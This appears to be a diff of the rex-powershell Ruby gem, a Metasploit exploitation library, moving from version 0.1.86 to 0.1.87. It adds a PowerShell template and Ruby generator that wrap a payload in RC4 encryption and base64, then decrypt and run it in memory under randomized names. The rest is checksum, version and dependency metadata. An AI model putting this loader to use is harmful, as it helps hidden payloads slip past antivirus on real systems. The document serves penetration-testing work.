rex-powershell 0.1.86 → 0.1.87

checksums.yaml

@@ -1,7 +1,7 @@
 ---
 SHA256:
-  metadata.gz: 2d26075990237181aafd00190e76bac14acdee1393e77231d0f1f24f3122dc36
-  data.tar.gz: d3b8f606d7b8cfc376d4ea7e71461008336d0aa9ffcbab1ed70f1ff9bf41c5fa
+  metadata.gz: 764fea22dc597fbfbf2af172ae81f6dccebf23d280d94683cd3220987565e567
+  data.tar.gz: df359a4703480f97a0353d840283099960fca5db2679cc67a812ffe0d7a8770b
 SHA512:
-  metadata.gz: 1c0f6e5aada793a549fb022bead14e6e1996f17ef786d796bbe194daca9d65db78842e56036b0dcf7d938505f71860f1408603103b96199fa3c924443bfb44a6
-  data.tar.gz: d16cc849d1fb7121e86a9bf267a07bd2dc717fc448ae8797f939c4461a08a857694aa5a3e5ebda5d6c7ca4fe2c17af678d7ceea15cf92a4b7118f50131c8895a
+  metadata.gz: e491690da3d3fc1d0c4be168b6029d612da06b5012d05f4f7ad9aea85aaa088d154ce37f499244b765072e60067c87a13b25c3d356e8313092602ca4416a5e06
+  data.tar.gz: e8b2607028adf09d185abf0c0833240c3232198c78f9ff928b0c8936ec4592c7c88a988c96bdaf8dac26da33ff1e6d510297283bf276e2bc2bdb0fb0af489a67

data/data/templates/to_mem_rc4.ps1.template

@@ -0,0 +1,40 @@
+function %{func_rc4_decrypt} {
+    param([Byte[]]$%{var_rc4buffer})
+
+	$%{var_key} = ([system.Text.Encoding]::UTF8).GetBytes("%{random_key}")
+
+    $s = New-Object Byte[] 256;
+    $k = New-Object Byte[] 256;
+
+    for ($i = 0; $i -lt 256; $i++)
+    {
+        $s[$i] = [Byte]$i;
+        $k[$i] = $%{var_key}[$i %% $%{var_key}.Length];
+    }
+
+    $j = 0;
+    for ($i = 0; $i -lt 256; $i++)
+    {
+        $j = ($j + $s[$i] + $k[$i]) %% 256;
+        $temp = $s[$i];
+        $s[$i] = $s[$j];
+        $s[$j] = $temp;
+    }
+
+    $i = $j = 0;
+    for ($x = 0; $x -lt $%{var_rc4buffer}.Length; $x++)
+    {
+        $i = ($i + 1) %% 256;
+        $j = ($j + $s[$i]) %% 256;
+        $temp = $s[$i];
+        $s[$i] = $s[$j];
+        $s[$j] = $temp;
+        [int]$t = ($s[$i] + $s[$j]) %% 256;
+        $%{var_rc4buffer}[$x] = $%{var_rc4buffer}[$x] -bxor $s[$t];
+    }
+
+    $%{var_rc4buffer}
+}
+
+&([scriptblock]::create(([system.Text.Encoding]::UTF8).GetString((%{func_rc4_decrypt} ([System.Convert]::FromBase64String("%{b64payload}"))))))
+

data/lib/rex/powershell/payload.rb

@@ -1,5 +1,6 @@
 # -*- coding: binary -*-
 require 'rex/random_identifier'
+require 'rc4'
 
 module Rex
 module Powershell
@@ -106,6 +107,27 @@ module Payload
     read_replace_script_template(template_path, "to_mem_msil.ps1.template", hash_sub).gsub(/(?<!\r)\n/, "\r\n")
   end
 
+  #
+  # PSH script that executes an RC4 encrypted payload with Invoke-Expression
+  # by Adrian Vollmer (SySS GmbH, https://www.syss.de)
+  #
+  def self.to_win32pe_psh_rc4(template_path = TEMPLATE_DIR, code)
+    rig = Rex::RandomIdentifier::Generator.new(DEFAULT_RIG_OPTS)
+    rig.init_var(:func_rc4_decrypt)
+    rig.init_var(:var_rc4buffer)
+    rig.init_var(:var_key)
+
+    key = Rex::Text.rand_text_alpha(rand(8)+8)
+    rc4 = RC4.new(key)
+    enc_code = rc4.encrypt(code)
+
+    hash_sub = rig.to_h
+    hash_sub[:random_key] = key
+    hash_sub[:b64payload] = Rex::Text.encode_base64(enc_code)
+
+    read_replace_script_template(template_path, "to_mem_rc4.ps1.template", hash_sub).gsub(/(?<!\r)\n/, "\r\n")
+  end
+
 end
 end
 end

data/lib/rex/powershell/version.rb

@@ -1,5 +1,5 @@
 module Rex
   module Powershell
-    VERSION = "0.1.86"
+    VERSION = "0.1.87"
   end
 end

data/rex-powershell.gemspec

@@ -26,4 +26,5 @@ Gem::Specification.new do |spec|
 
   spec.add_runtime_dependency 'rex-text'
   spec.add_runtime_dependency 'rex-random_identifier'
+  spec.add_runtime_dependency 'ruby-rc4'
 end

metadata

@@ -1,7 +1,7 @@
 --- !ruby/object:Gem::Specification
 name: rex-powershell
 version: !ruby/object:Gem::Version
-  version: 0.1.86
+  version: 0.1.87
 platform: ruby
 authors:
 - David 'thelightcosine' Maloney
@@ -93,7 +93,7 @@ cert_chain:
   JI/W23RbIRksG2pioMhd4dCXq3FLLlkOV1YfCwWixNB+iIhQPPZVaPNfgPhCn4Dt
   DeGjje/qA4fkLtRmOtb9PUBq3ToRDE4=
   -----END CERTIFICATE-----
-date: 2020-02-17 00:00:00.000000000 Z
+date: 2020-02-21 00:00:00.000000000 Z
 dependencies:
 - !ruby/object:Gem::Dependency
   name: bundler
@@ -165,6 +165,20 @@ dependencies:
     - - ">="
       - !ruby/object:Gem::Version
         version: '0'
+- !ruby/object:Gem::Dependency
+  name: ruby-rc4
+  requirement: !ruby/object:Gem::Requirement
+    requirements:
+    - - ">="
+      - !ruby/object:Gem::Version
+        version: '0'
+  type: :runtime
+  prerelease: false
+  version_requirements: !ruby/object:Gem::Requirement
+    requirements:
+    - - ">="
+      - !ruby/object:Gem::Version
+        version: '0'
 description: Ruby Exploitation(Rex) library for generating/manipulating Powershell
   scripts
 email:
@@ -185,6 +199,7 @@ files:
 - data/templates/to_mem_msil.ps1.template
 - data/templates/to_mem_old.ps1.template
 - data/templates/to_mem_pshreflection.ps1.template
+- data/templates/to_mem_rc4.ps1.template
 - lib/rex/powershell.rb
 - lib/rex/powershell/command.rb
 - lib/rex/powershell/function.rb